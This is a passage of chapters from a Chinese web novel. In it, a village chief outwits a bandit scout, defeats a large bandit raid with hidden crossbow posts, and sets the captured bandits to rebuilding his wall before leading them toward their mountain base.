人群中出现一个獐头鼠目男人,伸出胳膊让张神医诊脉。
“谢过神医,劳烦您帮小的看看,这几日我总感觉肚子疼,是不是吃坏了什么东西**了。”
这句话一出口,陈息与叶红缨同时眼神一凝。
土匪,至于为啥来,只有一个解释,那就是...
踩盘子。
第95章 硬砸
陈息见獐头鼠目男人伸出胳膊,上前一步挡在张神医前面,摆摆手后微笑道:
“你在旁边看着,我来为他看诊。”
张神医闻言一愣,病人一个肚子疼而已,根本用不上师父出手,他怕累到师父刚想说什么,却被陈息轻拍了两下肩膀拉到后面。
陈息整了整衣裳,大模大样的坐下,脸上始终挂着微笑,给人一种很亲切的感觉。
看了看獐头鼠目男人伸出的手臂,他并未第一时间把脉,而是轻声问起话来。
“肚子疼是吧,最近吃了什么东西啊?”
獐头鼠目男人见陈息与白眉毛老头对换,眼神飘忽一下又换做一副病怏怏的样子,语气很虚弱:
“回神医大人,小的最近只吃了些野菜粥,肚子疼的厉害,实在是顶不住了才来给您添麻烦。”
陈息眯起眼睛看了看他,继续微笑道:
“你是从哪里来啊?”
獐头鼠目男人回答的十分顺畅:
“小的是从湖岭北面的茅村来,肚子疼的厉害,走了一天一夜才到这里。”
说着话,表情突然扭曲一下,揉了揉肚子,又虚弱说道:
“神医大人行行好,小的走到这里不容易,劳烦您给小的瞧瞧病吧。”
陈息见他痛苦难受的样子,微笑着点点头,伸出手指搭在他手腕上,指尖轻动开始诊脉。
刚一搭上手腕,陈息便挑了挑眉,随即又微微皱起,继续感受脉搏。
獐头鼠目男人见他这一表情变化,心里突突两下,他本是装病来的,目的就是观察地形以及陈息家中人员。
见他眉头时而皱起时而舒展,逐渐放下心来,看来这小子也不怎么样嘛,有没有病都瞧不出来,还自称神医呢,啥也不是!
陈息一边搭着脉一边随意开口拉拉家常:
“我有远房亲戚住在茅村,不知你认不认得?”
獐头鼠目男人心里一惊,他是外地贼匪,故意说了一个很远的村名,没想到撞个正着。
茅村他也有熟人,这下坏菜了,但眼珠子一转,接话道:
“太巧了啊,小的就住在茅村,不知神医大人的亲戚叫什么名字?”
他先把话说出来,无论对方说出什么名字他都说认得,都是同村的相识,只是不太熟。
只有这样,才不会露出马脚。
陈息见他答的干脆,脸上的笑意更浓了,继续拉着家常:
“我那亲戚叫陈近南,40来岁不务正业,整天在家写字,写的是什么来着......”
獐头鼠目男人见陈息说说话卡住了,仰着脖子望天,记不起他那亲戚写的什么字。
这可把他急坏了,陈近南是谁啊,他哪里认识啊,除了村名是真的,其余都是他编的啊。
紧张的脉搏砰砰直跳,陈息差点都摁不住了。
“啊...对对对...陈近南嘛...小的认得,他是总爱写字来着,写的啥字小的还见过,一时有些想不起来了。”
獐头鼠目男人满嘴胡咧咧,陈息卡住了,他也卡住了,也仰起脖子望天。
陈息感受到这货脉搏砰砰直跳,差点气乐了,就这点心理素质还学人踩盘子,现在做土匪都不面试的吗?
突然眼睛睁大,单手一拍脑门子,恍然大悟道:
“我想起来了...”
“他在家里总写着,反清复明!”
獐头鼠目男人一听他想起来,大喜过望,立即接话道:
“对对对对。”
“反清复明,反清复明。”
陈息没把话掉地上,既然拉家常嘛,自己扯犊子最在行了:
“他还有个弟弟,叫...叫啥来着...”
陈息又卡住了,这可把獐头鼠目男人愁坏了,你咋老想不起来,人名那是我能猜的吗。
两人继续仰起脖子望天,一个装卡住了,一个真卡住了。
“哎呀!”
陈息又一拍脑门子,接着恍然大悟道:
“叫陈平安。”
“对对对对。”
“陈平安,陈平安。”
獐头鼠目男人汗都下来了,管他陈平安是谁呢,反正是陈近南弟弟就对了。
“陈平安可厉害了,那小子整天拿个破剑瞎练,嘎嘎猛。”
“对对对对。”
“嘎嘎猛,嘎嘎猛。”
陈息还在扯着犊子,反正闲着也是闲着,正好拿他逗逗闷子,继续道:
“陈平安和他哥陈近南一样,也爱写字,写的啥来着...”
陈息又卡住了。
獐头鼠目男人都要哭了,你那是什么破记性啊,就没有不卡的时候。
这都不用彩排,俩人神同步,同时仰起脖子望天。
陈息又一拍脑门子,接连几次,他脑门子上肉眼可见的发红。
“剑气长城。”
“对对对对。”
“剑气长城,剑气长城。”
獐头鼠目男人接话老快了,生怕露出破绽,管他剑气长城还是脚气长城呢,反正长城就对了。
“陈平安还有个妹妹,叫啥来着......”
这次不
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用陈息说,獐头鼠目男人先仰起脖子,踩个盘子差点把他颈椎病累出来,他心里苦啊,这狗屁的神医,纯是个话痨啊。
村里老娘们都没他能扯。
陈息又拍脑门子,一次比一次响,脑瓜子嗡嗡的也不管,嘴上依旧扯着犊子:
“陈乔恩。”
“对对对对。”
“陈乔恩,陈乔恩。”
獐头鼠目男人心里恨疯了,我就来踩个盘子,不是来考状元,你这还没完没了了。
左一道题右一道题的,我现在都连中三元了。
“她也爱写字...写的啥来着...”
獐头鼠目男人深吸了一口气,仰起脖子望天,眼中似有晶莹泪花。
你们老陈家哪来那么多亲戚啊,还都爱写字,敢情还是个书香世家是吧?
如果给他重来一次的机会,打死他都不说自己是茅村的。
陈息还要拍脑门子,这次被一只手拦住了。
张神医拽住师父的手,心疼的白眉毛乱颤,赶紧劝解师父:
“师父,再拍脑门都肿了,徒儿给您涂些药。”
从药箱里翻出一个小瓶子,倒出药水小心翼翼涂在师父脑门上。
陈息也觉得差不多了,赶紧把这货打发走吧,盘子是装菜的,不是用来踩的。
没规矩。
张神医给陈息上药的功夫,獐头鼠目男人一直望着天不敢低下头来,陈乔恩写的什么字,对他来说太重要了。
“行了,你这是着凉了,回去暖暖身子,几天就好了。”
陈息松开他的手腕,站起身来伸了个懒腰,扯了半天犊子也有点累得慌。
獐头鼠目男人见陈息给自己诊完了,才敢低下头来,一双鼠目想往院里看。
但无论他从什么角度看,都能被陈息完美挡住。
折腾好几个来回也没得逞,只能悻悻然作罢。
“小的多谢神医大人,神医大人真是在世活佛。”
他想拖延点时间,仔细观察一下周围环境。
但陈息岂能如他的愿,嘴里一边叮嘱他回去暖身子,不能再次着凉的话,扶着他一路送到村口。
獐头鼠目男人走出很远,陈息还热情的向他挥手:
“有病再来啊...”
獐头鼠目男人恨得牙根直痒痒,哪有这么送人的,盼着我生病是吧?
今天这盘子踩的,在土匪堆里也算独一份了。
狗屁没看着,颈椎病还差点犯了。
背过身来目露精光。
没踩成不要紧。
硬砸!
第96章 欢迎来到对抗路!
陈息送走了踩盘子的土匪,回到家中立即开展布置。
“二牛,到山里送信,让宁乱自己回来,剩下的人继续做工”
“好的村长。”
二牛见村长这么严肃,丝毫不废话,得令后立即小跑去深山找宁乱。
来到后院,立即对着正在做活计的村民喊道:
“现在放工,你们去通知所有村民,日落之前,全部到我家集合。”
“还有,无论妇女老幼全部通知到,走不动的也给我背来。”
“挨家挨户通知,不许落下一人。”
村民们听到陈息命令,知道要有大事发生,立即应了一声好,立即跑去通知村民。
叶红缨见陈息开始召集人手,拧着眉头走到他面前,冷漠开口:
“不需这么大费周章,土匪来了,我接着便是。”
刚才那獐头鼠目男人她并没见过,不是鹰嘴山的人。
应该是别的山头土匪,看来自己还得给他们立点规矩,总这样下去,百姓们可遭殃了。
陈息深深的看了一眼叶红缨,几秒后,突然一撇嘴:
“你觉得你很能打是吧,知道他们来了多少人么?”
叶红缨轻哼一声,上次使些下三滥的招数侥幸赢了我,现在竟敢瞧不起姑奶奶了。
今天便让你见识见识,本姑奶奶是不是好惹的。
“来多少人都没用,有我在,保你村子无恙。”
叶红缨很自信,一群土匪流寇而已,还真入不了她的眼。
陈息微微点头,这娘们看起来挺聪明的,没想到是个愣种,眯了眯眼说道:
“你连来了多少土匪都不知道,还说能保我村子?”
叶红缨嗤笑一声,两根葱白玉指伸进嘴里,打了一个响亮的口哨,远处立即传来马蹄疾驰声音。
几息过后,黑蛟后蹄发力,纵身一跃便跃过墙头来到叶红缨身边,巨大的马头很是亲昵的在她身上蹭了蹭。
叶红缨宠溺的拍了拍黑蛟的脸,随手抽出挂在鞍桥上的红缨枪,系开枪身包裹的黑布,露出明晃晃的枪尖。
抬眼,轻蔑的看着陈息,一字一顿道:
“本姑奶奶说了,保,你,村,子。”
陈息笑了,这次彻底坐实她愣种的身份,看了眼那杆红缨枪,又看了看满脸自信的叶红缨,开口笑道:
“我猜这批来的土匪,不低于50人。”
陈息伸出五根手指,故意在叶红缨眼前晃了晃,戏谑一笑:
“你一人,能打得过50个土匪?”
叶红缨白了陈息一眼,拿起红缨枪甩了个漂亮的枪花,枪尖在阳光照耀下明晃刺眼。
“你当本姑奶奶不懂绺规?”
“这一带的村子属于鹰嘴山的势力范围,刚才那人并不是鹰嘴山派来踩盘子的。”
“如果真是来了50人,到别人地盘劫货道,无异于立棍吞窑。”
“这种事情一旦做了,会遭到附近全体山头的讨伐。”
叶红缨说完,将红缨枪立在身旁,扭头一脸蔑视的盯着陈息,接着道:
“一群飘叶子流寇而已,顶多来个十几二十人的,本姑奶奶一人足矣。”
陈息听完,用力的拍了拍手为叶红缨鼓掌。
这愣种分析的头头是道,只可惜啊,全特么错了,这样鲁莽的性子,将来肯定要吃大亏。
“那既然红缨姑娘这么笃定,不如我们打个赌。”
叶红缨挑挑眉头来了兴趣,打赌?本姑奶奶怕了你不成,依旧是那副不咸不淡的口吻:
“赌什么?”
陈息笑了笑,待会土匪来了自己脱不开身,正愁没人保护三位娘子呢,眼前这二货就是最佳人选。
“土匪来了超过20人,你输。”
“输了的话,你到屋里保护我三位娘子,她们若是掉了一根头发,我扇你三个如来神掌。”
陈息不提如来神掌还好,一提这个叶红缨就来气,上次那大巴掌扇的她心有余悸,骑马都是站在马镫上骑的。
叶红缨红着脸,气的呼吸有些急促,瞪着眼睛反问道:
“若是我赢了怎么办?”
“你说。”
陈息双手环抱胸前,挑了挑眉毛,看着眼前这个二货如同看待珍稀物种。
你还想赢?
该说不说这心是真大,敢和我打赌,赢这个字,这辈子和你也挨不上边。
叶红缨也学着陈息模样,搂着红缨枪双手环抱胸前,一仰脖子:
“本姑奶奶若是赢了,上次那个赌注作废。”
她还想着上次不许找陈息后账的赌约呢,这道毒誓死死困住了她,这次若是自己赢了,必须要狠狠揍这个登徒子一顿。
不然她睡不着觉。
“好好好,我答应了。”
陈息都要被她气乐了,总算知道她为什么赖在这里不走了,好家伙,这是一直惦记着揍我呢。
见他答应,叶红缨得意起来,搓了搓手,眼神不善的看着陈息。
敢欺负本姑奶奶,赌约作废之后,本姑奶奶让你痛不欲生。
先把你打的不能动弹,然后丢粪坑里洗个澡。
陈息与她对视,这个二货先是不善的盯着自己,然后嘴角又偷着乐,瞬间目光又发狠,然后......
表情分出十几种变化,难不成这二货被哈士奇附体了?
他若是知道叶红缨心里咋想的,一定要在赌约里加上一条。
谁输了谁跳粪坑里洗个澡。
陈息没工夫和这二货瞎掰扯,站在小院门前等着村民。
不多时,窝窝村村民陆续疾步而来,有老人行动迟缓的,立即有男子背着前来。
陈息带着村民们进了院子,新房由于刚建成还未入住,空房间很多。
立即指挥起来:
“妇人孩童全部躲到西屋。”
“老人全部躲到客厅。”
妇人孩童很多,立即按照村长安排进了西屋,房间很大,这么多人都进去也不显得拥挤。
安排好了妇童老幼,接下来便是作战计划。
“会使连**的站出来。”
这些天他教了一些壮年村民怎样使连**,目的就是防范土匪袭击。
“是!”
人群中立即有一批壮年村民站了出来。
陈息从头到尾数了数,正好40人。
满意的点点头,挨个指了指周围四个暗堡位置。
“按照平时的演练,各自到固定位置,**箭都在里面。”
“是!”
40个壮年村民立即进了平时演练的暗堡,**箭齐全,人手一支。
每个暗堡10个射击孔,平时用干草遮掩,此刻全部打开。
“剩下的村民分为两组,一组守住屋子前门,一组守后门。”
“死也得给我守住,不许让一个土匪进来
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。”
陈息说完,众人齐齐应声:
“放心吧村长,我们**也不会让那帮畜生进屋。”
说完话,立即找出陈息给他们分配的武器,全部是精铁刀,分为两组死死守住两个门。
小院瞬间变成铜墙铁壁,只要土匪进了院子,定让他们有来无回。
陈息把人都安排好,宁乱和二牛也急冲冲的回来了。
“大哥,我回来的路上......”
宁乱急坏了,他回来的路上看到很多陌生面孔躲在村口附近,为了不打草惊蛇,他和二牛绕了小路回来,刚进院子便要给大哥汇报情况。
陈息没等他把话说完,立即打断了他。
“累坏了吧,生火,烤肉。”
宁乱和二牛同时一愣,村口那么多陌生面孔,看模样像是土匪,腰间鼓鼓囊囊的一定是带着武器。
见俩人愣神,陈息再次重复一句:
“愣什么呢,赶紧生火烤肉。”
“多切些鹿肉,再把那坛子酒拿来。”
两人木讷的点点头,大哥都说话了,他们只能照做。
宁乱迈步进屋切肉,突然被叶红缨拦住。
“你回来的路上看见了什么?”
叶红缨知道宁乱一定是发现了土匪,想要当面问出来人数,羞辱一下陈息。
宁乱挠挠头,扭头看向大哥,见大哥悠哉游哉的躺在摇椅上,并未看自己一眼。
然后对着叶红缨说道:
“我看见了一群土匪埋伏在村口。”
叶红缨皱了皱眉,撇了一眼陈息,又扭头疑惑的看着宁乱。
这傻小子是不是不识数啊,十几二十人的,你管这点人叫一群?
“那一群,有多少人?”
叶红缨不死心,想问清楚到底来了多少土匪,她还一心想着赢了赌注,打跑了土匪再揍陈息一顿出气。
宁乱见大哥不言,两只手张开,比画了比画,郑重其事道:
“不到100人也差不多了。”
叶红缨听到这个数字,俏脸腾的一下红了,红了个彻底。
她还想再确认一下:
“多少?你再说一遍。”
宁乱以为叶红缨没听清,两手张的更开了,一脸认真道:
“就算不到100人,也有90人了。”
叶红缨脑袋嗡的一下宕机了,缓了足足几分钟才回过神来。
红着脸扭头瞪着陈息,那眼神恨不得把他撕成碎片。
见陈息跟没听见似的,依旧半躺在摇椅上,一脸坏笑的闭目凝神,嘴里时不时还哼唱几句听不懂的小调。
叶红缨胸口剧烈起伏几下,鼻孔喷着粗气,狠狠的瞪了一眼陈息,一跺脚。
“我保护你三个娘子去。”
陈息晃悠着摇椅,眼皮都没抬一下:
“在东屋了,不能掉一根头发。”
叶红缨停住脚步背对着他,银牙咬得咯咯直响,含着眼泪再次狠狠一跺脚。
一句话没说,拿着红缨枪便进了东屋。
陈息听见她砰的一声把门关上了,脸上的坏笑更浓了。
跟我斗?
太嫩了啊。
接下来,便是检验村民战斗力的时刻。
只有通过战斗,才能让他们迅速成长。
正好拿这些土匪,给他们练练手。
睁开眼睛,对着天空摊了摊手,自言自语:
“欢迎来到对抗路!”
第97章 砌墙
天渐渐黑了下来。
村口,柴垛后。
吴亮坐在轮椅上,抻着脖子向村里望了望,视线收回后皱了皱眉头。
“踏马的,怎么一家都没有亮灯的?”
深吸了一口气,侧过头向身后小匪努努嘴:
“往前推。”
小匪得令,把轮椅向前推出10几米,忽见他摆摆手,立即找到一个背阴的墙根停下。
吴亮又探头向外观察了一会,眉头越皱越紧:
“我总感觉有点不对劲,去把那两个当家的喊来。”
“好的,二当家的。”
小匪弓着身子,向后退去,不一会便带着两个魁梧男子过来,其中一个络腮胡子男子先开口:
“前盘什么万儿?”
吴亮深吸一口气,眉头皱的更深了,他上次就在窝窝村吃的亏,知道点子扎手,这次愈发的小心谨慎。
“码子不清。”
络腮胡子男人是熊岭匪寨三当家的,名叫罗蛮子,此次带来25弟兄过来靠窑。
罗蛮子闻言,嗤笑一声:
“你们鹰嘴山做事怎么像个娘们,不敢趟活换我们来。”
说完话,对着另外一个当家的怂恿道:
“霍山,你们奔狼寨的弟兄跟不跟?”
“嗤,来了就是靠窑的,谁插签我都跟。”
罗蛮子一咧嘴,对着远处隐匿的弟兄打了个手势,白天那位獐头鼠目男人带着几个弟兄立即消失在黑暗中。
一刻钟后回来,凑到罗蛮子身边,贼眼珠子乱转:
“三当家的,这村子空了,只有窑口院里放亮子,三个阳码子好像在吃酒。”
罗蛮子哼了一声,这还藏个屁啊,大大咧咧站起身来,活动活动肩膀,说话声音也大了一些:
“草,不光盘子跑空了,风也漏了。”
扭过头看一眼吴亮:
“你们鹰嘴山起的局子,开个方子吧。”
罗蛮子是不想走的,虽然拿了鹰嘴山25两银子,但好不容易进村一趟,总得让弟兄们抢点实在的带回去。
霍山也不想走,他们熊岭寨一样是来靠窑的,25两银子虽然不少,但还想多占点便宜。
两人一同看向吴亮,局子是你们起的,最终还得你拿主意。
吴亮一哼声,指挥小匪推着轮椅到路中央,知道点子有些扎手,但鹰嘴山这次可是出动了足足50人,寨子里能动弹的基本全来了。
为了提防叶红缨报复,还故意找了其它两个山头靠窑,来都来了,哪有不干的道理。
“硬砸。”
“事成之后,掰花子。”
罗蛮子和霍山同时一喜,吴亮这小子大方啊,不光给了25两银子,还同意事成之后分赃。
“干了!”
两人不就不想走,他们三个队伍加起来足足百人,别说砸个窑,整个村子屠了都不是难事。
吴亮眼中精芒闪烁,不是他有多大方,但是这个赃还必须得分。
不为别的,他也怕叶红缨知晓,到时候三个寨子都脱不了干系,那娘们再厉害也挑不过三个山头。
其实他还有个小心思,隐隐中还希望叶红缨知晓,到时候联合三个寨子把那娘们做了,以绝后患。
冯元庆胆小,他可不小。
罗蛮子和霍山嘿嘿一笑,既然硬砸,那么还得你来,我们只是来靠窑的,打打下手占点实惠才是正事。
“那么有请二当家的搬垛吧,我们也好学习一下。”
吴亮如何不知两人的小心思,想让我打前站,你们两个在后面吃现成的,想屁呢。
“围了窑,一起插签。”
“我先说好,哪家弟兄不出力,到时候掰花子可没他的份。”
罗蛮子和霍山对视一眼,同时苦笑一下,吴亮这孙子还真鸡贼。
“行了,就按二当家的说的办。”
“二当家的前脸,我们哥俩后尾儿。”
吴亮指挥小匪推着轮椅,看都没看二人一眼,轻飘飘回了句:
“听响儿。”
分好了工,另两个寨子土匪立即动身,知道被人发现了,也没必要躲躲藏藏了。
他们动作很快,半刻钟后便把陈息院子后面围住。
吴亮的轮椅推在最前面,身后是鹰嘴山50土匪,大摇大摆的走在村道上。
离得老远便看见陈息的院子里燃着火,时不时还传来碰杯和大笑声。
吴亮坐着轮椅出现在院门口,不用吩咐,手底下土匪扶着墙,大喝一声,齐力将陈息家前面院墙推倒。
“轰——”
土墙倒塌,烟尘四起。
50个土匪拿着各式武器,齐齐现出身形。
陈息眯着眼睛,用手扇了扇面前尘土,嘴里呸了一声。
****而已,你推我院墙干嘛?
好好的烤肉没法吃了。
将粘上灰尘的烤肉扔在一边,没好气的骂了一声:
“没规矩。”
他有些生气,新房子刚建成,但院墙还没重修,这下好了,倒是省事了。
宁乱皱着眉头,赶紧将自己剩下那半块鹿肉塞进嘴里,大口嚼了几下便吞进肚中。
二牛嘴里刚咽下一大口肉,见陈息把烤肉丢了,捡起来扒拉两下泥,美滋滋的塞进嘴里嚼着。
村长嫌埋汰,我二牛可不嫌弃,这东西可比馒头好吃多了。
瓷实,顶饿!
“轰——”
后院又传来一道闷响,不用问,后院墙也没了。
陈息都要气**,光秃秃的一个新房杵在那里,这特么好看么?
不知道的还以为,我堂堂窝窝村村长修不起院墙呢。
愤怒的站起身来,拍了拍身上尘土,一指轮椅上的吴亮,张口就骂:
“踏马的,哪个开发商让你们来**的?”
“有特么文件吗?”
吴亮被他骂的一愣,什么是开发商,什么又是文件。
但他作为鹰嘴山二当家的,又是寨子里最硬的茬子,当着小弟面前怎能不还嘴:
“老子就是开发商,老子就是文件。”
陈息轻哼了一声,这可是你说的啊,到时候别反悔。
“好,我的院墙可不是白推的,你不开发商么,不给我修好都不算完。”
吴亮阴沉着脸,我踏马是土匪,可不是瓦匠。
毫不废话,向前一摆手:
“插签子。”
二当家的一开口,50个鹰嘴山土匪一拥而上,拎着各式各样的武器向陈息三人冲来。
陈息嘴角微微翘起,心里暗骂了一声蠢货,骄傲自大可是要付出代价的。
同样一摆手,前院两个暗堡同时射出**箭。
“嗖嗖嗖嗖——”
由于土匪站的集中冲的也急,第一批**箭几乎没有落靶,冲在最前面的土匪齐齐中箭摔倒。
后面的还没反应的过来,第二批**箭又至。
“嗖嗖嗖嗖——”
连续两批**箭,50土匪损失过半。
剩余的土匪想要寻找掩体,但院墙都被他们推到了,一时抓了瞎,第三批**箭又到。
一狠心,抓起前面中箭的土匪挡着**箭,**箭射入身体的噗噗声不绝于耳。
见他们都找到了掩体,陈息一摆手,暗堡里的**箭停止。
就在前院形成僵持时,后院同样面临这个情况。
陈息抽出唐刀,向宁乱和二牛一努嘴:
“到后院守着,多抓点人给我修院墙。”
宁乱和二牛怕陈息有危险,有些犹豫,但不敢反驳,最终一咬牙:
“大哥注意安全,后院交给我俩。”
两人拿着武器直奔后院。
陈息微微一笑,目光锁定在吴亮身上,一脸玩味的看着他:
“现在给你两个选择。”
“一是,死!”
“二是,把我院墙修好。”
吴亮嘴角狠狠一抽,刚才他已经发现射出*
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*箭的位置,他处于**箭射击盲角,但前面的弟兄可不好受。
他们只要一动,便会暴露在**箭的攻击范围之内,只能借助同伴尸体掩护却不敢动。
他万万没想到,只是一个小小的村子,怎会有如此厉害的**箭,连人都没见到,就处于绝对的劣势。
前院如此,后院也要遭。
脑袋中只有两个字。
栽了!
陈息见他不说话,拎着唐刀缓缓走到他身前,后面推轮椅的小匪刚要掏家伙,眼前便是一道寒芒闪过。
黑暗瞬间笼罩小匪全身,一声没出便见了阎王爷。
小匪温热粘稠的血,溅了吴亮一脸。
下意识想要用手擦,突然脖子处一凉,唐刀已经架在他的肩上,耳边传来一道玩味声音。
“选一,还是选二?”
刀架在脖子上不敢动,吴亮狠劲咽下一口唾沫,轻声开口吐出一个字:
“二。”
“唰——”
他那个二字刚出口,人头落地。
陈息一眯眼睛:
“二**,我娘子和兄弟的伤白挨了?”
一脚将吴亮的头颅踢到院子中央,唐刀平举胸前,大喝一声:
“你们当家的**,想活命的放下武器,爬过来。”
声音不大,但直击每个土匪的心脏,他们偷偷探出脑袋一看,正对上院中央吴亮的脑袋。
“嘶——”
齐齐吸了口冷气,你看看我,我看看你。
几秒后。
咣当咣当的都把武器扔在地上,双手举过头顶,靠着两只膝盖蹭着地面往前挪。
“大**人,小的想活命,想活命......”
“小的做匪实在是没办法了,求求大人开恩...”
“我再也不做匪了,呜呜呜...”
陈息这边土匪跪地求饶,后院嘈杂了一阵又恢复安静。
片刻后,叶红缨一手抓着一个壮硕男子来到前院。
砰的往地上一扔,罗蛮子和霍山鼻青脸肿的趴在院子中央,目光呆滞仰面朝天,大口大口的喘着粗气。
身后宁乱和二牛,将一群小匪五花大绑的全部押来。
“嘿嘿大哥,一个都没跑了,全部拿下。”
陈息点点头,有些诧异的看向叶红缨:
“我不是让你在屋里保护我娘子么。”
叶红缨双手叉在胸前,一抬下巴,傲娇回应:
“本姑奶奶闲不住,想活动一下身子。”
两人对话间,鹰嘴山那些小匪见到是叶红缨,立即像找到了救星,跪着挪到她面前:
“三当家的,三当家的,求求你饶命,我们都是吴亮带来的。”
他们都认识叶红缨,虽然三当家的揍过自己,但总归是鹰嘴山的,有她在这里,这条小命也许能保住。
叶红缨见小匪们求着自己,一脑门子黑线。
捡起地上一把刀就要结果了他们。
自己的规矩白立了?
她简直气炸了,白天还在和那登徒子吹牛鹰嘴山不敢来呢,晚上就被狠狠的打脸。
她要**,陈息赶紧拦住她。
“这就不劳烦您了,剩下的我处理。”
陈息不可能让她把人都杀了,自己院墙都倒了,这可是免费的劳力。
叶红缨死死的瞪着他,胸脯气的鼓鼓的,正在组织语言反击。
陈息知道这愣种气性大,立即威胁道:
“敢不听话,我进屋数我娘子头发去,一根头发,五个如来神掌。”
这货说着话,还故意伸出一根手指在她面前晃了晃。
赌注里说好的,三位娘子掉一个头发,五个如来神掌。
叶红缨恨不得将他那根讨厌的手指掰断,但打赌又是她输了,缓了好一会,扭身就进了屋子。
陈息见这愣种走了,转过头来对着小匪们嘿嘿一笑:
“辛苦诸位了,今晚都别睡了。”
“砌墙!”
第98章 离不开土匪窝子
小匪们闻言高兴坏了,管他砌墙还是盖房呢,只要能活命,干啥都行。
宁乱和二牛对视一眼,同时傻笑出声。
还是大哥有办法,这免费的劳力不就来了么。
危险解除,陈息将屋里的村民放出来。
找出一些身子弱没法上工的妇人,大手一挥给她们个差事。
每个妇人拿着一把连**,负责监督土匪们干活。
工钱自然是多给,每人10个铜钱。
妇人们开心极了,她们身子弱,不能像其他村民一样到村长家上工,看着其他村民手里的工钱都羡慕坏了。
这次终于也能赚到钱了,对着陈息千恩万谢,甚至有吃不上饭的妇人,直接跪下磕头。
陈息见她们这样,鼻头也有些发酸。
自己家中烧窑都是重活,这些身子弱的妇人做不了,生活的很艰难。
既然重活做不了,那么一些简单的活计应该能做。
他想出了一个办法,基地那边再过几天就成型了,不如让她们到基地提纯精盐。
反正在村子里也没事做,给她们份工作也能改善家里情况。
“行了,过几天你们还有活计做,不用出太多力,大家都能做。”
妇人们一听以后也有活计做,全都跪下对着陈息不住的磕头。
一一将她们扶起,再三安慰后才到院中指挥安排。
让宁乱和牛二加个班,带着这些妇人一起监督土匪砌墙,光是这些妇人是不行的。
手里虽然有着连**,但面对的可是土匪,不小心出了意外,谁都担不起。
再挑了些男村民,将土匪的尸体全部拖到山里喂野狗,当然这些都是付了工钱的。
安排好了一切,搂着三位娘子回旧屋子睡觉。
鹿肉很补,不出意外的这一晚,把樊妍和秦瑶搞得筋疲力竭连连求饶。
这些日子白蓉蓉都习惯了,又是没她的份。
那小妮子只盼着早日住进新房,到时候有自己一个房间,夫君就会来折腾她了。
好在秦瑶现在没怀孕,若是抢在她前面,二夫人的位置还有机会。
叶红缨没走,樊妍将她安排在旧屋隔壁,屋子不隔音,这一宿她都没睡着。
找东西塞住耳朵都没用,听了一夜的交响乐。
心里大骂着登徒子、淫棍、不正经。
翌日清晨。
陈息早早洗漱完毕,推开房门后大吃一惊。
眼前的院子焕然一新,新院墙比原来的高出几尺,砖缝还被贴心的用黄泥装饰一下。
冷眼一看,竟还有些古香古色的味道。
院子扫的一尘不染,物品摆放规规矩矩的,就连马棚都给加大加宽了。
此时土匪们一个个抱着头,蹲在墙角,身边一群妇人拿着连**顶在脑门上。
宁乱舒舒服服的躺在大哥的摇椅上,二牛在一旁烤着火,火堆上烤着一只野鸡,那是昨晚陈息赏他的。
两人见陈息出门,立即屁颠屁颠跑来,向他炫耀一下工作成果。
陈息心情极好,看着整洁的院子,心里很舒服。
见那些妇人们一夜没睡,依旧拿着**箭监督土匪,陈息走上前来哈哈一笑:
“做的不错,有赏。”
昨晚答应的每人10个铜钱,翻了一倍,每人20个铜钱。
说白了就是单纯的想多给这些妇人们些钱,回去添件衣裳,熬过这漫长的寒冬。
陈息大手一挥说赏就赏,让那些没有活计做的妇人开心极了,双手捧着20个铜钱感激的眼泪都流了下来。
尤其村长还承诺说,以后还有长期的活计给她们做,让这些身子弱的妇人,生活终于有了盼头。
打发走了千恩万谢的妇人,陈息来到土匪们面前,叉着腿往那一站,视线从左扫到右,数了数一共33人,
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包括胡蛮子和霍山。
陈息抽出唐刀,用刀身拍了拍二人的脸:
“你们两个站出来。”
胡蛮子和霍山知道躲不过去,一脸讪笑的蹲在地上,踮起脚尖向前蹭了蹭,蹲在了人群最前面。
“大人您说,您说。”
陈息轻描淡写的把刀架在胡蛮子肩上,目光落在新建好的院墙上:
“哪来的?”
胡蛮子汗都下来了,哆哆嗦嗦回道:
“回大人的话,小的熊岭寨的,名叫胡蛮子,大人叫小的蛮子便可。”
陈息眼皮都没抬一下,向旁边那人一挑下巴,霍山立即接话:
“大人您好,小的名叫霍山,从...从奔狼寨来的,大人不嫌弃的话,叫我山子便好。”
见二人都怂了,陈息回头想喊宁乱出来办事,突然屋门打开,叶红缨顶着两个黑眼圈出来。
四目相交,叶红缨狠狠的白了一眼陈息,兀自走了过来,捋了捋没来得及梳的头发:
“别的我不管,鹰嘴山的人,交给我处理。”
她气了一夜,此刻正需要找人撒气。
陈息撇撇嘴,这愣种咋还没消气呢,气坏了对身体不好,语气不咸不淡:
“大小姐您消消气,这些人我有用。”
“有什么用?”
“山人自有妙计。”
陈息不想把计划说出来,既然鹰嘴山的人全在这里,那个地盘他自然有了想法。
要知道,土匪选山头,可都是选些易守难攻的地方,不然朝廷强攻,他们只有死路一条。
叶红缨瞪盯着陈息的眼睛看了良久,他眼里除了一汪深邃,再无其他。
轻呼出一口气,转移话题道:
“今天你去哪,本姑奶奶去哪。”
陈息也看了她许久,微微一笑,正愁没人竖棍子呢,这不大旗就来了。
这楞种,这辈子就离不开土匪窝子了。
第99章 这位爷,该不会是傻子吧
安排好家中事宜,宁乱继续到深山,家中二牛继续带着工人烧砖。
叶红缨的主动跟着,倒是给陈息省去了不少麻烦。
正愁人手不够,主动来个打手。
不用白不用。
又拷问了鹰嘴山土匪,得知鹰嘴山基本没什么人了,只有大当家的带着一小撮土匪守寨子,随后满意的点点头。
送上门的地盘,不抢白不抢,先占了再说。
陈息将33个土匪用绳子捆住双手,罗蛮子与霍山在最前面,后面一个连一个,彼此间保持3米距离。
由于罗蛮子与霍山是骑马来的,马匹不出意外的被陈息征用了。
马匹还是战马,也不知这俩货是从哪里搞来的。
陈息挑选一匹还算健壮的战马代替脚力,另一匹给了宁乱,他美的后脑勺都乐开花了。
全部安排完,陈息带着人开始朝着鹰嘴山进发。
路上......
陈息骑着战马,又瞅了瞅叶红缨骑的黑蛟,两下对比后,自己这匹跟矮骡子似的。
眼睛一转来了主意,一脸坏笑的对着叶红缨说道:
“红缨姑娘,路上无事,不如我们打个小赌,陶冶一下情操?”
“不赌!”
叶红缨头都不回,回答的十分干脆。
陈息听见脆生生的这俩字,嘴角抽了抽,这愣种学精明了啊,不好骗了。
挠了挠头,随口问道:
“我们多久能到鹰嘴山?”
“明天。”
叶红缨多一个字都不说,心情大好的欣赏路上雪景。
见这愣种不爱说话,陈息也没自讨无趣,一行人继续赶路。
夜间......
随便找了个破庙住下,驿站是不可能去的,人多眼杂,自己带着这么多土匪难免走漏风声。
将土匪们窝在墙角,找了些干草给他们垫上,中间生了堆火,随便对付一夜。
